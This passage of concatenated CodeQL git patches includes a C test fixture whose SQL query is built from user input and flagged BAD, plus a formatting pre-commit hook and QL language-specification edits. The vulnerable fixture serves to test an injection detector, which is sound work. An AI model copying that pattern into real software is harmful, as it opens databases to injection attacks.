#select | test.c:21:18:21:23 | query1 | test.c:15:20:15:23 | argv | test.c:21:18:21:23 | query1 | This argument to a SQL query function is derived from $@ and then passed to mysql_query(sqlArg) | test.c:15:20:15:23 | argv | user input (argv) | -| test.c:33:18:33:23 | query3 | test.c:16:25:16:28 | argv | test.c:33:18:33:23 | query3 | This argument to a SQL query function is derived from $@ and then passed to mysql_query(sqlArg) | test.c:16:25:16:28 | argv | user input (argv) | diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c index 85d5d462093..129257731ab 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c @@ -30,5 +30,5 @@ int main(int argc, char** argv) { // an integer from the user is injected into an SQL query. char query3[1000] = {0}; snprintf(query3, 1000, "SELECT UID FROM USERS where number = \"%i\"", userNumber); - mysql_query(0, query3); // BAD [FALSE POSITIVE] + mysql_query(0, query3); // BAD } From 229ab7623e000f85f79e928dbdba5d57c587ffb2 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Tue, 5 Jan 2021 13:38:45 +0100 Subject: [PATCH 0409/1241] - Add pre-commit hook script to misc/scripts - Refer to it in CONTRIBUTING.md - Add setup note in docs folder --- CONTRIBUTING.md | 2 ++ docs/pre-commit-hook-setup.md | 13 +++++++++++++ misc/scripts/pre-commit | 18 ++++++++++++++++++ 3 files changed, 33 insertions(+) create mode 100644 docs/pre-commit-hook-setup.md create mode 100644 misc/scripts/pre-commit diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index fa88395e5d0..39552ad0bd9 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -38,6 +38,8 @@ If you have an idea for a query that you would like to share with other CodeQL u - The queries and libraries must be autoformatted, for example using the "Format Document" command in [CodeQL for Visual Studio Code](https://help.semmle.com/codeql/codeql-for-vscode/procedures/about-codeql-for-vscode.html). + If you prefer, you can use this [pre-commit hook](misc/scripts/pre-commit) that automatically checks whether your files are correctly formatted. See the [pre-commit hook installation guide](docs/install-pre-commit-hook.md) for instructions on how to install the hook. + 4. **Compilation** - Compilation of the query and any associated libraries and tests must be resilient to future development of the [supported](docs/supported-queries.md) libraries. This means that the functionality cannot use internal libraries, cannot depend on the output of `getAQlClass`, and cannot make use of regexp matching on `toString`. diff --git a/docs/pre-commit-hook-setup.md b/docs/pre-commit-hook-setup.md new file mode 100644 index 00000000000..d0c7fa5d1d3 --- /dev/null +++ b/docs/pre-commit-hook-setup.md @@ -0,0 +1,13 @@ +# CodeQL pre-commit-hook setup + +As stated in [CONTRIBUTING](../CONTRIBUTING.md) all CodeQL files must be formatted according to our [CodeQL style guide](ql-style-guide.md). You can use our pre-commit hook to avoid committing incorrectly formatted code. To use it, simply copy the [pre-commit](../misc/scripts/pre-commit) script to `.git/modules/ql/hooks/pre-commit` and make sure that it is executable. + +The script will abort a commit that contains incorrectly formatted code in .ql or .qll files and print an error message like: + +``` +> git commit -m "My commit." +code/ql/cpp/ql/src/Options.qll would change by autoformatting. +code/ql/cpp/ql/src/printAst.ql would change by autoformatting. +``` + +If you prefer to have the script automatically format the code (and not abort the commit), you can replace the line `codeql query format --check-only` with `codeql query format --in-place` (and `exit $exitVal` with `exit 0`). diff --git a/misc/scripts/pre-commit b/misc/scripts/pre-commit new file mode 100644 index 00000000000..e1492099519 --- /dev/null +++ b/misc/scripts/pre-commit @@ -0,0 +1,18 @@ +#!/bin/bash + +exec 1>&2 +exitVal=0 +while read -r f +do + filename="${f##*/}" + extension="${filename##*.}" + p="$PWD/$f"; + if [[ -f "$p" ]] && { [ "$extension" == "ql" ] || [ "$extension" == "qll" ]; } + then + if ! codeql query format --check-only "$p" + then + exitVal=1 + fi + fi +done <<<"$(git diff --cached --relative --name-only)" +exit $exitVal From 2bda26b3df47993678c262ddb6b293c4de442898 Mon Sep 17 00:00:00 2001 From: alexet <alexet@semmle.com> Date: Mon, 4 Jan 2021 18:12:31 +0000 Subject: [PATCH 0410/1241] QLSpec: Make qldoc part of the language. We have treated it this way for a while internally and it corrects for some minor deviations from the spec. --- .../ql-language-specification.rst | 90 +++++++++++++++---- .../qldoc-comment-specification.rst | 54 ----------- 2 files changed, 74 insertions(+), 70 deletions(-) delete mode 100644 docs/codeql/ql-language-reference/qldoc-comment-specification.rst diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 25a996496b2..917b2929aec 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -446,7 +446,7 @@ A one-line comment is two slash characters (``/``, U+002F) followed by any seque // This is a comment -A multiline comment is a *comment start*, followed by a *comment body*, followed by a *comment end*. A comment start is a slash (``/``, U+002F) followed by an asterisk (``*``, U+002A), and a comment end is an asterisk followed by a slash. A comment body is any sequence of characters that does not include a comment end. Here is an example multiline comment: +A multiline comment is a *comment start*, followed by a *comment body*, followed by a *comment end*. A comment start is a slash (``/``, U+002F) followed by an asterisk (``*``, U+002A), and a comment end is an asterisk followed by a slash. A comment body is any sequence of characters that does not include a comment end and does not start with an asterisk. Here is an example multiline comment: :: @@ -456,6 +456,21 @@ A multiline comment is a *comment start*, followed by a *comment body*, followed It had a multiline comment. */ +QLDoc (qldoc) +~~~~~~~~ + +A QLDoc comment is a *qldoc comment start*, followed by a *comment body*, followed by a *qldoc comment end*. A comment start is a slash (``/``, U+002F) followed by two asterisks (``*``, U+002A), and a qldoc comment end is an asterisk followed by a slash. A qldoc comment body is any sequence of characters that does not include a comment end. Here is an example qldoc comment: + +:: + + /** + It was the best of code. + It was the worst of code. + It had a qldoc comment. + */ + +The ‘content’ of a QLDoc comment is the comment body of the comment, omitting the initial /**, the trailing */, and the leading whitespace followed by * on each internal line. + Keywords ~~~~~~~~ @@ -738,6 +753,49 @@ A predicate may have several different binding sets, which can be stated by usin | ``bindingset`` | | yes | yes | yes | | | | | +----------------+---------+------------+-------------------+-----------------------+---------+--------+---------+---------+ +QLDoc +----- + +QLDoc is used for documenting ql entities and bindings. QLDoc that is used as part of the +declaration is said to be declared. + +Ambiguous QLDoc +~~~~~~~~~~~ + +If QLDoc could be parsed as part a file module or as part of the first declaration in the file then +it is parsed as part of the first declaration. + +Inheriting QLDoc +~~~~~~~~~~~ + +If no qldoc is provided then in may be inherited. + +In the case of an alias then it may be inherited from the right-hand-side of the alias. + +In the case of a member predicate we collect all member predicates that it overrides with declared QLDoc. Then if there is a member predicate in that collection that +that overrides every other member predicate in that collection then the QLDoc of that field is used as the QLDoc. + +In the case of a field we collect all fields that it overrides with declared QLDoc. Then if there is a field in that collection that +that overrides every other field in that collection then its QLDoc of that field used as the QLDoc. + +Content +~~~~~~~ + +The content of a QLDoc comment is interpreted as standard Markdown, with the following extensions: + +- Fenced code blocks using backticks. +- Automatic interpretation of links and email addresses. +- Use of appropriate characters for ellipses, dashes, apostrophes, and quotes. + +The content of a QLDoc comment may contain metadata tags as follows: + +The tag begins with any number of whitespace characters, followed by an '@' sign. At this point there may be any number of non-whitespace characters, which form the key of the tag. Then, a single whitespace character which separates the key from the value. The value of the tag is formed by the remainder of the line, and any subsequent lines until another '@' tag is seen, or the end of the content is reached. Any sequence of consecutive whitespace characters in the value are replaced by a single space. + +Metadata +~~~~~~~~ + +If the query file starts with whitespace followed by a qldoc comment then the tags from that qldoc comment form the query metadata. + Top-level entities ------------------ @@ -750,7 +808,7 @@ A *predicate* is declared as a sequence of annotations, a head, and an optional :: - predicate ::= annotations head optbody + predicate ::= qldoc? annotations head optbody A predicate definition adds a mapping from the predicate name and arity to the predicate declaration to the current module's declared predicate environment. @@ -785,7 +843,7 @@ A class definition has the following syntax: :: - class ::= annotations "class" classname "extends" type ("," type)* "{" member* "}" + class ::= qldoc? annotations "class" classname "extends" type ("," type)* "{" member* "}" The identifier following the ``class`` keyword is the name of the class. @@ -824,8 +882,8 @@ Each member of a class is either a *character*, a predicate, or a field: :: member ::= character | predicate | field - character ::= annotations classname "(" ")" "{" formula "}" - field ::= annotations var_decl ";" + character ::= qldoc? annotations classname "(" ")" "{" formula "}" + field ::= qldoc? annotations var_decl ";" Characters ^^^^^^^^^^ @@ -1476,9 +1534,9 @@ Aliases define new names for existing QL entities. :: - alias ::= annotations "predicate" literalId "=" predicateRef "/" int ";" - | annotations "class" classname "=" type ";" - | annotations "module" modulename "=" moduleId ";" + alias ::= qldoc? annotations "predicate" literalId "=" predicateRef "/" int ";" + | qldoc? annotations "class" classname "=" type ";" + | qldoc? annotations "module" modulename "=" moduleId ";" An alias introduces a binding from the new name to the entity referred to by the right-hand side in the current module's declared predicate, type, or module environment respectively. @@ -1896,7 +1954,7 @@ The complete grammar for QL is as follows: :: - ql ::= moduleBody + ql ::= qldoc? moduleBody module ::= annotation* "module" modulename "{" moduleBody "}" @@ -1919,7 +1977,7 @@ The complete grammar for QL is as follows: orderby ::= simpleId ("asc" | "desc")? - predicate ::= annotations head optbody + predicate ::= qldoc? annotations head optbody annotations ::= annotation* @@ -1946,13 +2004,13 @@ The complete grammar for QL is as follows: | "{" formula "}" | "=" literalId "(" (predicateRef "/" int ("," predicateRef "/" int)*)? ")" "(" (exprs)? ")" - class ::= annotations "class" classname "extends" type ("," type)* "{" member* "}" + class ::= qldoc? annotations "class" classname "extends" type ("," type)* "{" member* "}" member ::= character | predicate | field - character ::= annotations classname "(" ")" "{" formula "}" + character ::= qldoc? annotations classname "(" ")" "{" formula "}" - field ::= annotations var_decl ";" + field ::= qldoc? annotations var_decl ";" moduleId ::= simpleId | moduleId "::" simpleId @@ -1960,9 +2018,9 @@ The complete grammar for QL is as follows: exprs ::= expr ("," expr)* - alias := annotations "predicate" literalId "=" predicateRef "/" int ";" - | annotations "class" classname "=" type ";" - | annotations "module" modulename "=" moduleId ";" + alias := qldoc? annotations "predicate" literalId "=" predicateRef "/" int ";" + | qldoc? annotations "class" classname "=" type ";" + | qldoc? annotations "module" modulename "=" moduleId ";" var_decls ::= var_decl ("," var_decl)* diff --git a/docs/codeql/ql-language-reference/qldoc-comment-specification.rst b/docs/codeql/ql-language-reference/qldoc-comment-specification.rst deleted file mode 100644 index 4979edb21b7..00000000000 --- a/docs/codeql/ql-language-reference/qldoc-comment-specification.rst +++ /dev/null @@ -1,54 +0,0 @@ -:tocdepth: 1 - -.. _qldoc-comment-specification: - -QLDoc comment specification -=========================== - -This document is a formal specification for QLDoc comments. - -About QLDoc comments --------------------- - -You can provide documentation for a QL entity by adding a QLDoc comment in the source file. The QLDoc comment is displayed as pop-up information in QL editors, for example when you hover over a predicate name. - -Notation --------- - -A 'QLDoc comment' is a valid QL comment that begins with ``/**`` and ends with ``*/``. - -The 'content' of a QLDoc comment is the textual body of the comment, omitting the initial ``/**``, the trailing ``*/``, and the leading whitespace followed by ``*`` on each internal line. - -A QLDoc comment 'precedes' the next QL syntax element after it in the file. - -Association ------------ - -A QLDoc comment may be 'associated with' any of the following QL syntax elements: - -- Class declarations -- Non-member predicate declarations -- Member predicate declarations -- Modules - -For class and predicate declarations, the associated QLDoc comment (if any) is the closest preceding QLDoc comment. - -For modules, the associated QLDoc comment (if any) is the QLDoc comment which is the first element in the file, and moreover is not associated with any other QL element. - -Inheritance ------------ - -If a member predicate has no directly associated QLDoc and overrides a set of member predicates which all have the same QLDoc, then the member predicate inherits that QLDoc. - -Content -------- - -The content of a QLDoc comment is interpreted as standard Markdown, with the following extensions: - -- Fenced code blocks using backticks. -- Automatic interpretation of links and email addresses. -- Use of appropriate characters for ellipses, dashes, apostrophes, and quotes. - -The content of a QLDoc comment may contain metadata tags as follows: - -The tag begins with any number of whitespace characters, followed by an ``@`` sign. At this point there may be any number of non-whitespace characters, which form the key of the tag. Then, a single whitespace character which separates the key from the value. The value of the tag is formed by the remainder of the line, and any subsequent lines until another ``@`` tag is seen, or the end of the content is reached. From 82187cb1f617539f5ac9f379b8492aa1c59d1e63 Mon Sep 17 00:00:00 2001 From: alexet <alexet@semmle.com> Date: Mon, 4 Jan 2021 18:18:15 +0000 Subject: [PATCH 0411/1241] QLSpec:Link to common mark spec --- .../codeql/ql-language-reference/ql-language-specification.rst | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 917b2929aec..93162e35cb7 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -781,9 +781,8 @@ that overrides every other field in that collection then its QLDoc of that field Content ~~~~~~~ -The content of a QLDoc comment is interpreted as standard Markdown, with the following extensions: +The content of a QLDoc comment is interpreted as `CommonMark <https://commonmark.org/>`__, with the following extensions: -- Fenced code blocks using backticks. - Automatic interpretation of links and email addresses. - Use of appropriate characters for ellipses, dashes, apostrophes, and quotes. From 929c007e5dabac676ffe7cb40cb6567031e93d55 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Tue, 5 Jan 2021 13:53:19 +0000 Subject: [PATCH 0412/1241] Update docs/codeql/ql-language-reference/expressions.rst Co-authored-by: hubwriter <hubwriter@github.com> --- docs/codeql/ql-language-reference/expressions.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/ql-language-reference/expressions.rst b/docs/codeql/ql-language-reference/expressions.rst index 89b69d49613..a9af798f16a 100644 --- a/docs/codeql/ql-language-reference/expressions.rst +++ b/docs/codeql/ql-language-reference/expressions.rst @@ -418,7 +418,7 @@ aggregation in a simpler form: count(int i | i = "hello".indexOf("l") | i) count("hello".indexOf("l")) -#. If there only one aggregation variable, you can omit the ``<expression>`` part instead. +#. If there is only one aggregation variable, you can omit the ``<expression>`` part instead. In this case, the expression is considered to be the aggregation variable itself. For example, the following aggregations are equivalent: From ce905c0d343625edc54dff0b4dbc3018f224c4a2 Mon Sep 17 00:00:00 2001 From: alexet <alexet@semmle.com> Date: Mon, 4 Jan 2021 18:25:30 +0000 Subject: [PATCH 0413/1241] QLSpec: Finish specification for fields. --- .../ql-language-specification.rst | 61 +++++++++++++------ 1 file changed, 42 insertions(+), 19 deletions(-) diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 93162e35cb7..c79823b0f4f 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -390,27 +390,30 @@ The store QL programs evaluate in the context of a *store*. This section specifies several definitions related to the store. -A *fact* is a predicate or type along with an ordered tuple. A fact is written as the predicate name or type name followed immediately by the tuple. Here are some examples of facts: +A *fact* is a predicate or type along with an named tuple. A fact is written as the predicate name or type name followed immediately by the tuple. Here are some examples of facts: :: - successor(0, 1) - Tree.toString(@method_tree(12), "def println") - Location.class(@location(43)) - Location.getURL(@location(43), "file:///etc/hosts:2:0:2:12") + successor(fst: 0, snd:1) + Tree.toString(this:@method_tree(12), result:"def println") + Location.class(this:@location(43)) + Location.getURL(this: @location(43), result:"file:///etc/hosts:2:0:2:12") A *store* is a mutable set of facts. The store can be mutated by adding more facts to it. -An ordered tuple *directly satisfies* a predicate or type with a given if there is a fact in the store with the given tuple and predicate or type. +An named tuple *directly satisfies* a predicate or type with a given tuple if there is a fact in the store with the given tuple and predicate or type. A value ``v`` is in a type ``t`` under any of the following conditions: - The type of ``v`` is ``t`` and ``t`` is a primitive type. -- The tuple ``(v)`` directly satisfies ``t``. +- There is tuple with ``this`` component ``v`` that directly satisfies ``t``. -An ordered tuple *satisfies a predicate* ``p`` under the following circumstances. If ``p`` is not a member predicate, then the tuple satisfies the predicate whenever it directly satisfies the predicate. +An ordered tuple ``v`` *directly satisfies* a predicate with a given if there is a fact in the store with the given predicate and a named tuple ``v'`` +such that taking the ordered formed by the ``this`` component of ``v'`` followed by component for each argument equals the ordered tuple. -Otherwise, the tuple must be the tuple of a fact in the store with predicate ``q``, where ``q`` shares a root definition with ``p``. The first element of the tuple must be in the type before the dot in ``q``, and there must be no other predicate that overrides ``q`` such that this is true (see "`Classes <#classes>`__" for details on overriding and root definitions). +An ordered tuple *satisfies a predicate* ``p`` under the following circumstances. If ``p`` is not a member predicate, then the tuple satisfies the predicate whenever the named tuple satisfies the tuple. + +Otherwise, the tuple must be the tuple of a fact in the store with predicate ``q``, where ``q`` shares a root definition with ``p``. The `first` element of the tuple must be in the type before the dot in ``q``, and there must be no other predicate that overrides ``q`` such that this is true (see "`Classes <#classes>`__" for details on overriding and root definitions). An ordered tuple ``(a0, an)`` satisfies the ``+`` closure of a predicate if there is a sequence of binary tuples ``(a0, a1)``, ``(a1, a2)``, ..., ``(an-1, an)`` that all satisfy the predicate. An ordered tuple ``(a, b)`` satisfies the ``*`` closure of a predicate if it either satisfies the ``+`` closure, or if ``a`` and ``b`` are the same, and if moreover they are in each argument type of the predicate. @@ -918,13 +921,22 @@ A valid class must include a non-private predicate named ``toString`` with no ar A valid class may not inherit from two different classes that include a predicate with the same name and number of arguments, unless either one of the predicates overrides the other, or the class defines a predicate that overrides both of them. -The typing environment for a member predicate or character is the same as if it were a non-member predicate, except that it additionally maps ``this`` to a type. If the member is a character, then the typing environment maps ``this`` to the class domain type of the class. Otherwise, it maps ``this`` to the class type of the class itself. +The typing environment for a member predicate or character is the same as if it were a non-member predicate, except that it additionally maps ``this`` to a type and also maps any fields on a class to a type. If the member is a character, then the typing environment maps ``this`` to the class domain type of the class. Otherwise, it maps ``this`` to the class type of the class itself. +It any field to the type of the field. Fields ^^^^^^ A field declaration introduces a mapping from the field name to the field declaration in the class's declared field environment. +A field ``f`` with enclosing class ``C`` *overrides* a field ``f'`` with enclosing class ``D`` when ``f`` is annotated override, ``C`` inherits from ``D``, ``p'`` is visible in ``C``, and both ``p`` and ``p'`` have the same name. + +A valid class may not inherit from two different classes that include a field with the same name, unless either one of the fields overrides the other, or the class defines a field that overrides both of them. + +A valid field must override another field if it is annotated override. + +When field ``f`` overrides field ``g`` the type of ``f`` must be a subtype of the type of ``g``. ``f`` may not be a final field. + Select clauses ~~~~~~~~~~~~~~ @@ -1326,7 +1338,8 @@ The grammar given in this section is disambiguated first by precedence, and seco - binary ``*`` , ``/`` and ``%`` - binary ``+`` and ``-`` -Additionally, whenever a sequence of tokens can be interpreted either as a call to a predicate with result (with specified closure), or as a binary operation with operator ``+`` or ``*``, the syntax is interpreted as a call to a predicate with result. +Whenever a sequence of tokens can be interpreted either as a call to a predicate with result (with specified closure), or as a binary operation with operator ``+`` or ``*``, the syntax is interpreted as a call to a predicate with result. +Whenever a sequence of tokens can be interpreted either as either arithmetic with a parenthesized variable or a prefix cast of a unary operation the syntax is interpreted as a cast. Formulas -------- @@ -1889,7 +1902,7 @@ Predicates, and types can *depend* and *strictly depend* on each other. Such dep - If a predicate contains a variable declaration with negative or zero polarity of a variable whose declared type is a class type ``C``, then the predicate strictly depends on ``C.class``. -- If a predicate contains an expression whose type is a class type ``C``, then the predicate depends on ``C.class``. If the expression has negative or zero polarity then the dependency is strict. +- If a predicate contains an expression whose type is a class type ``C`` which is not a variable reference, then the predicate depends on ``C.class``. If the expression has negative or zero polarity then the dependency is strict. - A predicate containing a predicate call depends on the predicate to which the call resolves. If the call has negative or zero polarity then the dependency is strict. @@ -1922,29 +1935,39 @@ The store is first initialized with the *database content* of all built-in predi Each layer of the stratification is *populated* in order. To populate a layer, each predicate in the layer is repeatedly populated until the store stops changing. The way that a predicate is populated is as follows: -- To populate a predicate that has a formula as a body, find all named tuples with the variables of the predicate's arguments that match the body formula and the types of the variables. If the predicate has a result, then the matching named tuples should additionally have a value for ``result`` that is in the result type of the predicate. If the predicate is a member predicate, then the tuples should additionally have a value for ``this`` that is of the type assigned to ``this`` by the typing environment. For each such tuple, convert the named tuple to an ordered tuple by sequencing the values of the tuple, starting with ``this`` if present, followed by the predicate's arguments, followed by ``result`` if present. Add each such converted tuple to the predicate in the store. +- To populate a predicate that has a formula as a body, find all named tuples with the variables of the predicate's arguments that match the body formula and the types of the variables. If the predicate has a result, then the matching named tuples should additionally have a value for ``result`` that is in the result type of the predicate. + If the predicate is a member predicate of a class ``C`` and not a characteristic predicate, then the tuples should additionally have a value for ``this`` and fields that match some tuple in ``C.class``. + If the predicate is a characteristic predicate of a class ``C``, then the tuples should additionally have a value for ``this`` and fields that match some tuple in ``C.extends`` and each + declared field ``f`` with type ``B`` the value of ``f`` is a member of ``B.class``. + For each such tuple remove any components that have the same name as a field on the declaring type and add it to the predicate in the store. - To populate an abstract predicate, do nothing. - The population of predicates with a higher-order body is left only partially specified. A number of tuples are added to the given predicate in the store. The tuples that are added must be fully determined by the QL program and by the state of the store. -- To populate the type ``C.extends`` for a class ``C``, identify each value ``v`` that has the following properties: It is in all non-class base types of ``C``, and for each class base type ``B`` of ``C`` it is in ``B.B``. For each such ``v``, add ``(v)`` to ``C.extends``. +- To populate the type ``C.extends`` for a class ``C``, identify each named tuple that has the following properties: + - The value of ``this`` is in all non-class base types of ``C``. + - For each class base type ``B`` of ``C`` the projection of the tuple onto fields the public fields of ``B`` is the projection of a tuple in ``B.B`` onto the public fields of ``B``. + For each such tuple add it to ``C.extends``. -- To populate the type ``C.C`` for a class ``C``, if ``C`` has a characteristic predicate, then add all tuples from that predicate to the store. Otherwise add each tuple in ``C.extends`` into the store. +- To populate the type ``C.C`` for a class ``C``, if ``C`` has a characteristic predicate, then add all tuples from that predicate to the store. + Otherwise add all tuples into the store that it satisfy ``C.extends`` and for each declared field ``f`` with type ``B`` the value of ``f`` is a member of ``B.class`` - To populate the type ``C.class`` for a non-abstract class type ``C``, add each tuple in ``C.C`` to ``C.class``. -- To populate the type ``C.class`` for an abstract class type ``C``, for each class ``D`` that has ``C`` as a base type add all tuples in ``D.class`` to ``C.class``. +- To populate the type ``C.class`` for an abstract class type ``C``, identify each named tuple that has the following properties: + - It is a member of ``C.C`` + - For each class ``D`` that has ``C`` as a base type then the projection of the tuple to the public ``D.class``. -- To populate a select clause, find all named tuples with the variables declared in the ``from`` clause that match the formula given in the ``where`` clause, if there is one. For each named tuple, convert it to a set of ordered tuples where each element of the ordered tuple is, in the context of the named tuple, a value of one of the corresponding select expressions. Collect all ordered tuples that can be produced from all of the restricted named tuples in this way. Add each such converted tuple to the select clause in the store. Query evaluation ~~~~~~~~~~~~~~~~ A query is evaluated as follows: -#. Identify all named tuples in the predicate targeted by the query. -#. Sequence the ordered tuples lexicographically. The first elements of the lexicographic order are the tuple elements specified by the ordering directives of the predicate targeted by the query, if it has any. Each such element is ordered either ascending (``asc``) or descending (``desc``) as specified by the ordering directive, or ascending if the ordering directive does not specify. This lexicographic order is only a partial order, if there are fewer ordering directives than elements of the tuples. An implementation may produce any sequence of the ordered tuples that satisfies this partial order. +#. Identify all facts about query predicates. +#. If there is a select clause then find all named tuples with the variables declared in the ``from`` clause that match the formula given in the ``where`` clause, if there is one. For each named tuple, convert it to a set of ordered tuples where each element of the ordered tuple is, in the context of the named tuple, a value of one of the corresponding select expressions. Then sequence the ordered tuples lexicographically. The first elements of the lexicographic order are the tuple elements specified by the ordering directives of the predicate targeted by the query, if it has any. Each such element is ordered either ascending (``asc``) or descending (``desc``) as specified by the ordering directive, or ascending if the ordering directive does not specify. This lexicographic order is only a partial order, if there are fewer ordering directives than elements of the tuples. An implementation may produce any sequence of the ordered tuples that satisfies this partial order. +#. The result is the facts from the query predicates plus the list of ordered tuples from the select clause if it exists. Summary of syntax ----------------- From fa8a2c0cce83dfd16d8015db4060a16513a8132c Mon Sep 17 00:00:00 2001 From: alexet <alexet@semmle.com> Date: Tue, 5 Jan 2021 12:30:23 +0000 Subject: [PATCH 0414/1241] QLSpec: Fix predicate resolution --- .../ql-language-specification.rst | 33 ++++++++++++------- 1 file changed, 22 insertions(+), 11 deletions(-) diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index c79823b0f4f..9f87d303154 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -862,20 +862,20 @@ A valid class may not inherit from a final class, from itself, or from more than Class environments ~~~~~~~~~~~~~~~~~~ -For each of modules, types, predicates, and fields a class *inherits*, *declares*, and *exports* an environment. These are defined as follows (with X denoting the type of entity we are currently considering): +For each of member predicates and fields a class *inherits* and *declares*, and *exports* an environment. These are defined as follows (with X denoting the type of entity we are currently considering): -- The *inherited X environment* of a class is the union of the exported X environments of its base types. +- The *inherited X environment* of a class is the union of the exported X environments of types it inherits from, excluding any elements that are ``overridden`` by another element. - The *declared X environment* of a class is the multimap of X declarations in the class itself. - The *exported X environment* of a class is the overriding union of its declared X environment (excluding ``private`` declaration entries) with its inherited X environment. -- The *external X environment* of a class is the visible X environment of the enclosing module. - -- The *visible X environment* is the overriding union of the declared X environment and the inherited X environment; overriding unioned with the external X environment. +- The *visible X environment* is the overriding union of the declared X environment and the inherited X environment. The program is invalid if any of these environments is not definite. +For each of member predicates and fields a domain type *exports* an environment. This is the union of the exported ``X`` environments of types the class inherits from, excluding any elements that are ``overridden`` by another element. + Members ~~~~~~~ @@ -899,7 +899,7 @@ Member predicates A predicate that is a member of a class is called a *member predicate*. The name of the predicate is the identifier just before the open parenthesis. -A member predicate adds a mapping from the predicate name and arity to the predicate declaration in the class's declared predicate environment. +A member predicate adds a mapping from the predicate name and arity to the predicate declaration in the class's declared member predicate environment. A valid member predicate can be annotated with ``abstract``, ``cached``, ``final``, ``private``, ``deprecated``, and ``override``. @@ -922,7 +922,7 @@ A valid class must include a non-private predicate named ``toString`` with no ar A valid class may not inherit from two different classes that include a predicate with the same name and number of arguments, unless either one of the predicates overrides the other, or the class defines a predicate that overrides both of them. The typing environment for a member predicate or character is the same as if it were a non-member predicate, except that it additionally maps ``this`` to a type and also maps any fields on a class to a type. If the member is a character, then the typing environment maps ``this`` to the class domain type of the class. Otherwise, it maps ``this`` to the class type of the class itself. -It any field to the type of the field. +The typing environment also maps any field to the type of the field. Fields ^^^^^^ @@ -1163,13 +1163,24 @@ The expressions in parentheses are the *arguments* of the call. The expression b The type environment for the arguments is the same as for the call. -A valid call with results must *resolve* to exactly one predicate. The ways a call can resolve are as follows: +A valid call with results *resolves* to a set of predicates. The ways a call can resolve are as follows: -- If the call has no receiver, then it can resolve to a non-member predicate. If the predicate name is a simple identifier, then the predicate is resolved by looking up its name and arity in the visible predicate environment of the enclosing class or module. +- If the call has no receiver and the predicate name is a simple identifier, then the predicate is resolved by looking up its name and arity in the visible member-predicate environment of the enclosing class. - If the predicate name is a selection identifier, then the qualifier is resolved as a module (see "`Module resolution <#module-resolution>`__"). The identifier is then resolved in the exported predicate environment of the qualifier module. +- If the call has no receiver and the predicate name is a simple identifier, then the predicate is resolved by looking up its name and arity in the visible predicate environment of the enclosing module. -- If the call has a super expression as the receiver, then it resolves to a member predicate in a class the enclosing class inherits from. If the super expression is unqualified, then the super-class is the single class that the current class inherits from. If there is not exactly one such class, then the program is invalid. Otherwise the super-class is the class named by the qualifier of the super expression. The predicate is resolved by looking up its name and arity in the exported predicate environment of the super-class. If there is more than one such predicate, then the predicate call is not valid. +- If the call has no receiver and the predicate name is a selection identifier, then the qualifier is resolved as a module (see "`Module resolution <#module-resolution>`__"). The identifier is then resolved in the exported predicate environment of the qualifier module. + +- If the call has a super expression as the receiver, then it resolves to a member predicate in a class the enclosing class inherits from. If the super expression is unqualified, then the super-class is the single class that the current class inherits from. If there is not exactly one such class, then the program is invalid. Otherwise the super-class is the class named by the qualifier of the super expression. The predicate is resolved by looking up its name and arity in the exported predicate environment of the super-class. + +- If the type of the receiver is the same as the the enclosing class the predicate is resolved by looking up its name and arity in the ``visible`` predicate environment of the class. + +- If the type of the receiver is not the same as the the enclosing class the predicate is resolved by looking up its name and arity in the ``exported`` predicate environment of the class or domain type. + +If all the predicates that the call resolves to are declared on a primitive type we then restrict to the set of predicates where each argument of the call is a subtype of the corresponding predicate argument type. +Then we find all predicates ``p`` from this new set such that there is not another predicate ``p'``where each argument of ``p'`` is a subtype of the corresponding argument in ``p``. We then say the call resolves to this set instead. + +A valid call must only resolve to a single predicate. For each argument other than a don't-care expression, the type of the argument must be compatible with the type of the corresponding argument type of the predicate, otherwise the call is invalid. From 3db9ad3a975b480a072e9c28faa07855af7ea8d6 Mon Sep 17 00:00:00 2001 From: alexet <alexet@semmle.com> Date: Tue, 5 Jan 2021 12:30:49 +0000 Subject: [PATCH 0415/1241] QLSpec: Prevent int-float transitive closures --- docs/codeql/ql-language-reference/ql-language-specification.rst | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 9f87d303154..70e371824ce 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -1194,6 +1194,8 @@ If the resolved predicate is built in, then the call may not include a closure. - The number 1 if the predicate has a result, otherwise 0. +If the call includes a closure then all declared predicate arguments, the enclosing type of the declaration if it exists and the result type of the declaration if it exists must be compatible. If one of those types is a subtype of ``int`` all the other arguments must be a subtype of ``int``. + If the call resolves to a member predicate, then the *receiver values* are as follows. If the call has a receiver, then the receiver values are the values of that receiver. If the call does not have a receiver, then the single receiver value is the value of ``this`` in the contextual named tuple. The *tuple prefixes* of a call with results include one value from each of the argument expressions' values, in the same order as the order of the arguments. If the call resolves to a non-member predicate, then those 